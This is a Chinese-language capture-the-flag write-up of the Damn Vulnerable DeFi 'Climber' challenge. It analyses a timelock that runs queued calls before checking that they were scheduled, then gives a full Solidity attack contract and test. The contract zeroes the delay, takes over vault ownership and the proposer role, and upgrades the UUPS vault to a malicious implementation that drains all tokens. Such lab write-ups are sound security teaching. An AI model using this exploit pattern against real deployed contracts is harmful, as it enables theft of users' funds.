There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.
The owner of the vault is a timelock contract. It can withdraw a limited amount of tokens every 15 days.
On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.
On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later.
You must rescue all tokens from the vault and deposit them into the designated recovery account.
這題有多個合約
但是經過觀察以後我們可以找到 ClimberVault.sol
是其中的關鍵合約,我們還可以在其中找到幾個很可能可以把 DVT 轉走的 function,分別是:
UUPS pattern
,在這題中運用到了 upgradeToAndCall
其中 withdraw
不能修改題目中提到的時間鎖定,然後 sweepFunds
中有沒辦法修改的 onlySweeper
,所以也沒有什麼用,所以在場唯一的希望就只剩 upgradeToAndCall
了
接著我們來研究一下時間鎖,所以我們可以把目光聚集在 ClimberTimelock.sol
上
在合約的構造函數中,ClimberTimelock
給自己授予了 ADMIN_ROLE
權限 (_grantRole(ADMIN_ROLE, address(this));)
,這意味着該合約本身可以進行權限調整
合約中的 execute
函數依賴於 getOperationState
來檢查操作是否準備好執行,所以這裡也是我們可以嘗試
接著就是嘗試來讓我們的攻擊合約動起來
整理完上面的資訊以後,我們就可以寫出一個攻擊合約
contract ClimberAttack {
ClimberTimelock public timelock;
ClimberVault public vault;
DamnValuableToken public token;
address public recovery;
address[] public targets;
uint256[] public values;
bytes[] public dataElements;
bytes32 public salt = bytes32(0);
constructor(
ClimberVault _vault,
ClimberTimelock _timelock,
DamnValuableToken _token,
address _recovery
) {
vault = _vault;
timelock = _timelock;
token = _token;
recovery = _recovery;
}
function executeAttack() external {
uint256 actions = 4;
targets = new address[](actions);
values = new uint256[](actions);
dataElements = new bytes[](actions);
// 1. Update timelock delay to 0
targets[0] = address(timelock);
values[0] = 0;
dataElements[0] = abi.encodeWithSignature("updateDelay(uint64)", uint64(0));
// 2. Transfer vault ownership to this contract
targets[1] = address(vault);
values[1] = 0;
dataElements[1] = abi.encodeWithSignature("transferOwnership(address)", address(this));
// 3. Grant PROPOSER_ROLE to this contract in timelock
targets[2] = address(timelock);
values[2] = 0;
dataElements[2] = abi.encodeWithSignature("grantRole(bytes32,address)", PROPOSER_ROLE, address(this));
// 4. Schedule the operations (calls the doSchedule function in this contract)
targets[3] = address(this);
values[3] = 0;
dataElements[3] = abi.encodeWithSignature("doSchedule()");
// Execute the queued operations
timelock.execute(targets, values, dataElements, salt);
// Now that this contract owns the vault, upgrade the vault to a malicious version and drain tokens
vault.upgradeToAndCall(
address(this),
abi.encodeWithSignature("transferTokens(address,address)", address(token), recovery)
);
}
function doSchedule() external {
// Schedule the same operations to bypass the timelock
timelock.schedule(targets, values, dataElements, salt);
}
// Malicious implementation that drains tokens
function transferTokens(address tokenAddress, address recipient) external {
DamnValuableToken(tokenAddress).transfer(recipient, DamnValuableToken(tokenAddress).balanceOf(address(this)));
}
// Required by UUPS pattern to make the contract upgradable
function proxiableUUID() public pure returns (bytes32) {
return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
}
}
function test_climber() public checkSolvedByPlayer {
// 部署整合過的 ClimberAttack 合約
ClimberAttack climberAttack = new ClimberAttack(vault, timelock, token, recovery);
// 執行攻擊
climberAttack.executeAttack();
}
每日梗圖(1/1)